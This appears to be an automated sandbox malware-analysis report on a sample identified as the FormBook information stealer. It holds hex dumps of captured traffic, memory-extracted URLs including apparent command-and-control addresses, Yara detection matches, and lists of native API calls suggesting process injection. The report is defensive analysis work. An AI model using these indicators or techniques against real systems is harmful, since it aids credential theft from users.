3b 50 e7 59 cb 18 b1 3d ac 33 b0 89 13 4d 79 da c4 d4 87 90 a4 0b eb 68 1f 89 f5 40 94 23 0d 75 2b b6 b0 64 16 2d 4c eb 93 f2 84 d2 ed 58 40 a3 d5 83 c6 64 91 46 28 ec 8f 5b 3e e0 83 ce 87 14 72 a8 3f a0 9f b6 46 5b e0 b5 c1 69 ee 86 34 49 de 23 24 27 2f dc ee 28 d8 67 01 5f 2c 26 3e 52 eb 41 d6 f9 cb 63 e5 78 44 97 f8 9d 26 1c a4 fb 96 8e 39 3b 84 3f a6 e0 10 57 20 d1 8b 51 95 fb 13 23 76 b2 e1 42 8e f1 56 58 ed 3a 33 54 e5 bc 17 76 d2 52 18 c3 16 f3 d3 c0 40 84 dc de 05 f0 3c 80 01 19 8f a7 de 81 8f 5a 0a 33 81 69 b5 52 26 e7 06 36 79 70 42 0e f2 f4 5e b8 51 dd 10 45 ec 02 6f 21 04 92 2e 0b 7d e0 76 1c fe ae 2a 43 dc 1b 58 cf 9e a4 a7 22 d2 6e 99 07 b3 2a 86 70 68 00 62 c1 1a 0f 9b 55 d1 c4 e8 96 65 29 08 4a 88 04 46 a6 c3 d0 cf 25 b6 65 ef b8 24 15 88 a3 d2 99 8e 18 0e 65 6d 3a 68 30 90 32 64 14 e7 09 05 1f 53 a5 08 01 62 18 17 87 92 da 89 7a 1e 10 ed 5c 86 70 71 b7 3a 9b 9f 9c cd cf 0a 56 0e a8 aa b2 01 a1 e8 b5 aa 51 ed 53 a8 52 fa 8e 69 b5 2a d2 ad c5 58 d4 0a 6d 99 34 34 7a 55 64 24 45 3e ea 49 Data Ascii: R]o6}b}FIapdY6lQ =ymx9(im\Y[Ua,XTEO`V*4},DUk;-]k
Source: global traffic HTTP traffic detected: HTTP/1.1 404 Not FoundDate: Sat, 27 Jul 2024 06:08:52 GMTServer: ApacheExpires: Wed, 11 Jan 1984 05:00:00 GMTCache-Control: no-store, no-cache, must-revalidateUpgrade: h2,h2cConnection: UpgradeVary: Accept-EncodingContent-Encoding: gziphost-header: c2hhcmVkLmJsdWVob3N0LmNvbQ==X-Newfold-Cache-Level: 2X-Endurance-Cache-Level: 2X-nginx-cache: WordPressContent-Length: 1226Content-Type: text/html; charset=UTF-8Data Raw: 1f 8b 08 00 00 00 00 00 00 03 a5 52 5d 6f db 36 14 7d ae 7f 05 ab 62 7d 18 46 cb 49 da 61 70 64 07 59 36 6c 03 f6 51 20 1b 8a 3d 05 14 79 6d b1 a1 78 39 92 8a ec 0e fd ef bb 94 28 c7 69 da 01 6d 05 03 96 ee e7 b9 e7 9c ea e9 0f 7f 5c fd f9 f7 ab 1f 59 13 5b b3 9e 55 e9 8f 19 61 b7 ab 02 2c ff eb ba 58 cf 9e 54 0d 08 45 ff 4f aa 16 a2 60 56 b4 b0 2a ee 34 f4 0e 7d 2c 98 44 1b c1 c6 55 d1 6b 15 9b 95 82 3b 2d 81 0f 1f c5 fb 5d 1e 6b 8c e1 a8 c7 a2 b6 0a 76 df 30 8b 1b 34 06 fb 82 95 43 53 d4 d1 c0 fa d2 47 1d 22 bb 12 46 76 46 44 f4 ec 79 ab 44 68 ce d9 15 b6 da 6e d9 35 a2 ad ca b1 38 b5 05 e9 b5 8b 2c 78 b9 2a 9a 18 dd b2 2c c5 30 43 1e 46 cc 25 b6 65 ef b8 b6 d2 74 0a 42 f9 86 7e ff 74 e0 f7 f9 6f fe 26 14 eb aa 1c 47 8d 53 e3 de 00 8b 7b 47 27 44 d8 c5 52 06 2a f9 9a fd 3b 63 f4 d4 b8 e3 41 bf 25 38 4b 7a f7 0a 3c a7 d0 f9 90 e3 2d be e5 ff 5b d0 43 7d ab e3 47 6b de cd 66 35 aa fd b4 4a c8 db ad c7 ce 2a 2e d1 a0 5f b2 be d1 11 c6 51 39 52 1b 2a 1a 23 78 07 7e 43 a4 f2 dd 92 35 5a 29 b0 63 bc 15 7e ab ed 92 2d 86 f9 cf 7a 2f 5c 5e 20 8c de 5a 4e 23 db b0 64 92 24 02 3f b6 28 1d 9c 11 fb 25 db 18 c8 d0 df 74 21 ea cd 9e 67 31 1f d6 93 3a bc 01 bd 6d 28 7e b2 58 dc 35 c3 aa 79 ae cd db d2 2c 4a 3f 04 25 ba 88 ec e5 57 63 d0 09 a5 06 4e 16 e3 77 62 9f 0f 20 df 5b 27 76 a3 e5 96 ec c5 e9 c2 8d c4 6d 10 a9 20 ef ca 59 c2 32 8d c6 a0 a3 46 1a b4 d1 3b 50 e7 59 cb 18 b1 3d ac 33 b0 89 13 4d 79 da c4 d4 87 90 a4 0b eb 68 1f 89 f5 40 94 23 0d 75 2b b6 b0 64 16 2d 4c eb 93 f2 84 d2 ed 58 40 a3 d5 83 c6 64 91 46 28 ec 8f 5b 3e e0 83 ce 87 14 72 a8 3f a0 9f b6 46 5b e0 b5 c1 69 ee 86 34 49 de 23 24 27 2f dc ee 28 d8 67 01 5f 2c 26 3e 52 eb 41 d6 f9 cb 63 e5 78 44 97 f8 9d 26 1c a4 fb 96 8e 39 3b 84 3f a6 e0 10 57 20 d1 8b 51 95 fb 13 23 76 b2 e1 42 8e f1 56 58 ed 3a 33 54 e5 bc 17 76 d2 52 18 c3 16 f3 d3 c0 40 84 dc de 05 f0 3c 80 01 19 8f a7 de 81 8f 5a 0a 33 81 69 b5 52 26 e7 06 36 79 70 42 0e f2 f4 5e b8 51 dd 10 45 ec 02 6f 21 04 92 2e 0b 7d e0 76 1c fe ae 2a 43 dc 1b 58 cf 9e a4 a7 22 d2 6e 99 07 b3 2a 86 70 68 00 62 c1 1a 0f 9b 55 d1 c4 e8 96 65 29 08 4a 88 04 46 a6 c3 d0 cf 25 b6 65 ef b8 24 15 88 a3 d2 99 8e 18 0e 65 6d 3a 68 30 90 32 64 14 e7 09 05 1f 53 a5 08 01 62 18 17 87 92 da 89 7a 1e 10 ed 5c 86 70 71 b7 3a 9b 9f 9c cd cf 0a 56 0e a8 aa b2 01 a1 e8 b5 aa 51 ed 53 a8 52 fa 8e 69 b5 2a d2 ad c5 58 d4 0a 6d 99 34 34 7a 55 64 24 45 3e ea 49 Data Ascii: R]o6}b}FIapdY6lQ =ymx9(im\Y[Ua,XTEO`V*4},DUk;-]k
Source: findstr.exe, 00000012.00000002.4531782947.0000000004248000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.00000000034D8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://assets.lolipop.jp/img/bnr/bnr_lolipop_ad_001.gif
Source: findstr.exe, 00000012.00000002.4531782947.0000000003BEC000.00000004.10000000.00040000.00000000.sdmp, findstr.exe, 00000012.00000002.4527435525.000000000301C000.00000004.00000020.00020000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000000.2549091116.0000000002E7C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2801131487.000000003DD6C000.00000004.80000000.00040000.00000000.sdmp, 8SxJ9aYfJ1.exe, TwkYThKVQVaYn.exe.0.dr String found in binary or memory: http://crl.comodoca.com/COMODORSACertificationAuthority.crl0q
Source: findstr.exe, 00000012.00000002.4531782947.0000000003BEC000.00000004.10000000.00040000.00000000.sdmp, findstr.exe, 00000012.00000002.4527435525.000000000301C000.00000004.00000020.00020000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000000.2549091116.0000000002E7C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2801131487.000000003DD6C000.00000004.80000000.00040000.00000000.sdmp, 8SxJ9aYfJ1.exe, TwkYThKVQVaYn.exe.0.dr String found in binary or memory: http://crl.comodoca.com/COMODORSACodeSigningCA.crl0t
Source: findstr.exe, 00000012.00000002.4531782947.0000000004248000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.00000000034D8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: http://js.ad-stir.com/js/adstir.js?20130527
Source: findstr.exe, 00000012.00000002.4531782947.0000000003F24000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.00000000031B4000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2801131487.000000003E0A4000.00000004.80000000.00040000.00000000.sdmp String found in binary or memory: http://miquwawa.com/tqql/?h20PB=Ilr0H&9Fjx=u0XZF227Y/r9f3hknYKw3A/OKyua8wzaE5MpTM9c21roNqnsj5Gisp9Vc
Source: findstr.exe, 00000012.00000002.4531782947.0000000003BEC000.00000004.10000000.00040000.00000000.sdmp, findstr.exe, 00000012.00000002.4527435525.000000000301C000.00000004.00000020.00020000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000000.2549091116.0000000002E7C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2801131487.000000003DD6C000.00000004.80000000.00040000.00000000.sdmp, 8SxJ9aYfJ1.exe, TwkYThKVQVaYn.exe.0.dr String found in binary or memory: http://ocsp.comodoca.com0
Source: 8SxJ9aYfJ1.exe, 00000000.00000002.2120693064.00000000027B1000.00000004.00000800.00020000.00000000.sdmp, TwkYThKVQVaYn.exe, 0000000B.00000002.2301461883.00000000028C1000.00000004.00000800.00020000.00000000.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2005/05/identity/claims/name
Source: 8SxJ9aYfJ1.exe, TwkYThKVQVaYn.exe.0.dr String found in binary or memory: http://tempuri.org/dxsss.xsd
Source: sbJGUdSMCgtLQJ.exe, 00000017.00000002.4532261432.000000000526C000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.artistcalculator.com
Source: sbJGUdSMCgtLQJ.exe, 00000017.00000002.4532261432.000000000526C000.00000040.80000000.00040000.00000000.sdmp String found in binary or memory: http://www.artistcalculator.com/pf6m/
Source: findstr.exe, 00000012.00000002.4534379410.0000000007D98000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ac.ecosia.org/autocomplete?q=
Source: findstr.exe, 00000012.00000002.4531782947.000000000456C000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.00000000037FC000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://ajax.googleapis.com/ajax/libs/jquery/1.5.0/jquery.min.js
Source: findstr.exe, 00000012.00000002.4534379410.0000000007D98000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://cdn.ecosia.org/assets/images/ico/favicon.icohttps://www.ecosia.org/search?q=
Source: findstr.exe, 00000012.00000002.4531782947.00000000043DA000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.000000000366A000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap
Source: findstr.exe, 00000012.00000002.4531782947.00000000043DA000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.000000000366A000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://cdn.jsdelivr.net/npm/bootstrap-icons
Source: findstr.exe, 00000012.00000002.4531782947.00000000043DA000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.000000000366A000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.10.0/css/all.min.css
Source: findstr.exe, 00000012.00000002.4534379410.0000000007D98000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/favicon.icohttps://ch.search.yahoo.com/search
Source: findstr.exe, 00000012.00000002.4534379410.0000000007D98000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://ch.search.yahoo.com/sugg/chrome?output=fxjson&appid=crmas&command=
Source: findstr.exe, 00000012.00000002.4531782947.00000000043DA000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.000000000366A000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://code.jquery.com/jquery-3.4.1.min.js
Source: findstr.exe, 00000012.00000002.4534198361.0000000006350000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4531782947.0000000004A22000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.0000000003CB2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://download.quark.cn/download/quarkpc?platform=android&ch=pcquark
Source: findstr.exe, 00000012.00000002.4534379410.0000000007D98000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/ac/?q=
Source: findstr.exe, 00000012.00000002.4534379410.0000000007D98000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/chrome_newtab
Source: findstr.exe, 00000012.00000002.4534379410.0000000007D98000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://duckduckgo.com/favicon.icohttps://duckduckgo.com/?q=
Source: findstr.exe, 00000012.00000002.4531782947.00000000043DA000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.000000000366A000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://fonts.googleapis.com
Source: findstr.exe, 00000012.00000002.4531782947.00000000043DA000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.000000000366A000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://fonts.googleapis.com/css2?family=Heebo:wght
Source: findstr.exe, 00000012.00000002.4531782947.000000000456C000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.00000000037FC000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://fonts.googleapis.com/css?family=Roboto:400
Source: findstr.exe, 00000012.00000002.4531782947.00000000043DA000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.000000000366A000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://fonts.gstatic.com
Source: findstr.exe, 00000012.00000002.4534198361.0000000006350000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4531782947.0000000004A22000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.0000000003CB2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/globalerror.js
Source: findstr.exe, 00000012.00000002.4534198361.0000000006350000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4531782947.0000000004A22000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.0000000003CB2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/plugins/performance.js
Source: findstr.exe, 00000012.00000002.4534198361.0000000006350000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4531782947.0000000004A22000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.0000000003CB2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://g.alicdn.com/woodpeckerx/jssdk/wpkReporter.js
Source: findstr.exe, 00000012.00000002.4534198361.0000000006350000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4531782947.0000000004A22000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.0000000003CB2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://hm.baidu.com/hm.js?
Source: findstr.exe, 00000012.00000002.4531782947.00000000043DA000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.000000000366A000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://htmlcodex.com
Source: findstr.exe, 00000012.00000002.4531782947.00000000043DA000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.000000000366A000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://htmlcodex.com/credit-removal
Source: findstr.exe, 00000012.00000002.4534198361.0000000006350000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4531782947.0000000004A22000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.0000000003CB2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://image.uc.cn/s/uae/g/3o/berg/static/archer_index.e96dc6dc6863835f4ad0.js
Source: findstr.exe, 00000012.00000002.4534198361.0000000006350000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4531782947.0000000004A22000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.0000000003CB2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://image.uc.cn/s/uae/g/3o/berg/static/index.c4bc5b38d870fecd8a1f.css
Source: findstr.exe, 00000012.00000002.4528334347.00000000030CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oau
Source: findstr.exe, 00000012.00000002.4528334347.00000000030CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srf?client_id=00000000480728C5&scope=service::ssl.live.com:
Source: findstr.exe, 00000012.00000002.4528334347.00000000030CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfclient_id=00000000480728C5&scope=service::ssl.live.com::
Source: findstr.exe, 00000012.00000003.2669528287.0000000007D72000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_authorize.srfhttps://login.live.com/oauth20_desktop.srfhttps://login.
Source: findstr.exe, 00000012.00000002.4528334347.00000000030CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf&lw=1&fl=wld2
Source: findstr.exe, 00000012.00000002.4528334347.00000000030CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srf?lc=1033
Source: findstr.exe, 00000012.00000002.4528334347.00000000030CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_desktop.srflc=1033u
Source: findstr.exe, 00000012.00000002.4528334347.00000000030CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srf?client_id=00000000480728C5&redirect_uri=https://login.live
Source: findstr.exe, 00000012.00000002.4528334347.00000000030CC000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://login.live.com/oauth20_logout.srfclient_id=00000000480728C5&redirect_uri=https://login.live.
Source: findstr.exe, 00000012.00000002.4531782947.0000000004248000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.00000000034D8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://lolipop.jp/
Source: findstr.exe, 00000012.00000002.4531782947.0000000004248000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.00000000034D8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://minne.com/?utm_source=lolipop&utm_medium=banner&utm_campaign=synergy&utm_content=404
Source: findstr.exe, 00000012.00000002.4531782947.0000000004248000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.00000000034D8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://pepabo.com/
Source: findstr.exe, 00000012.00000002.4531782947.0000000004248000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.00000000034D8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://static.minne.com/files/banner/minne_600x500
Source: findstr.exe, 00000012.00000002.4531782947.0000000004248000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.00000000034D8000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://support.lolipop.jp/hc/ja/articles/360049132953
Source: findstr.exe, 00000012.00000002.4534198361.0000000006350000.00000004.00000800.00020000.00000000.sdmp, findstr.exe, 00000012.00000002.4531782947.0000000004A22000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.0000000003CB2000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://track.uc.cn/collect
Source: findstr.exe, 00000012.00000002.4531782947.0000000003BEC000.00000004.10000000.00040000.00000000.sdmp, findstr.exe, 00000012.00000002.4527435525.000000000301C000.00000004.00000020.00020000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000000.2549091116.0000000002E7C000.00000004.00000001.00040000.00000000.sdmp, firefox.exe, 00000019.00000002.2801131487.000000003DD6C000.00000004.80000000.00040000.00000000.sdmp, 8SxJ9aYfJ1.exe, TwkYThKVQVaYn.exe.0.dr String found in binary or memory: https://www.chiark.greenend.org.uk/~sgtatham/putty/0
Source: findstr.exe, 00000012.00000002.4534379410.0000000007D98000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://www.ecosia.org/newtab/
Source: findstr.exe, 00000012.00000002.4531782947.000000000456C000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.00000000037FC000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.google.com/recaptcha/api.js?hl=en
Source: findstr.exe, 00000012.00000002.4531782947.0000000004ED8000.00000004.10000000.00040000.00000000.sdmp, sbJGUdSMCgtLQJ.exe, 00000017.00000002.4530233128.0000000004168000.00000004.00000001.00040000.00000000.sdmp String found in binary or memory: https://www.michaelstutorgroup.com/7w90/?h20PB=Ilr0H&9Fjx=LhHpT0ljoQdAbtFlhTdeffbRPZ2ExzZlgOFaGkCDeg

E-Banking Fraud
barindex
Yara detected FormBook
Source: Yara match File source: 10.2.8SxJ9aYfJ1.exe.400000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.8SxJ9aYfJ1.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 0000000A.00000002.2392518879.00000000014F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000015.00000002.2641212802.0000000000EB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.4528036238.0000000003030000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2391710518.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000017.00000002.4532261432.0000000005200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.4526845304.0000000000DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000012.00000002.4523991342.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000013.00000002.4529774873.0000000002EA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2569786862.00000000014A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000011.00000002.4529392421.0000000002DE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2393885514.0000000001950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 10.2.8SxJ9aYfJ1.exe.400000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 10.2.8SxJ9aYfJ1.exe.400000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2392518879.00000000014F0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000015.00000002.2641212802.0000000000EB0000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000012.00000002.4528036238.0000000003030000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2391710518.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000017.00000002.4532261432.0000000005200000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000012.00000002.4526845304.0000000000DD0000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000012.00000002.4523991342.0000000000930000.00000040.80000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000013.00000002.4529774873.0000000002EA0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000F.00000002.2569786862.00000000014A0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000011.00000002.4529392421.0000000002DE0000.00000040.00000001.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 0000000A.00000002.2393885514.0000000001950000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Contains functionality to call native functions
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_0042C013 NtClose, 10_2_0042C013
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672B60 NtClose,LdrInitializeThunk, 10_2_01672B60
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672DF0 NtQuerySystemInformation,LdrInitializeThunk, 10_2_01672DF0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672C70 NtFreeVirtualMemory,LdrInitializeThunk, 10_2_01672C70
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_016735C0 NtCreateMutant,LdrInitializeThunk, 10_2_016735C0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01674340 NtSetContextThread, 10_2_01674340
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01674650 NtSuspendThread, 10_2_01674650
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672BE0 NtQueryValueKey, 10_2_01672BE0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672BF0 NtAllocateVirtualMemory, 10_2_01672BF0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672BA0 NtEnumerateValueKey, 10_2_01672BA0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672B80 NtQueryInformationFile, 10_2_01672B80
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672AF0 NtWriteFile, 10_2_01672AF0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672AD0 NtReadFile, 10_2_01672AD0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672AB0 NtWaitForSingleObject, 10_2_01672AB0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672D30 NtUnmapViewOfSection, 10_2_01672D30
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672D00 NtSetInformationFile, 10_2_01672D00
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672D10 NtMapViewOfSection, 10_2_01672D10
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672DD0 NtDelayExecution, 10_2_01672DD0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672DB0 NtEnumerateKey, 10_2_01672DB0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672C60 NtCreateKey, 10_2_01672C60
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672C00 NtQueryInformationProcess, 10_2_01672C00
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672CF0 NtOpenProcess, 10_2_01672CF0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672CC0 NtQueryVirtualMemory, 10_2_01672CC0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672CA0 NtQueryInformationToken, 10_2_01672CA0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672F60 NtCreateProcessEx, 10_2_01672F60
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672F30 NtCreateSection, 10_2_01672F30
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672FE0 NtCreateFile, 10_2_01672FE0
Source: C:\Users\user\Desktop\8SxJ9aYfJ1.exe Code function: 10_2_01672FA0 NtQuerySection, 10_2_01672FA0
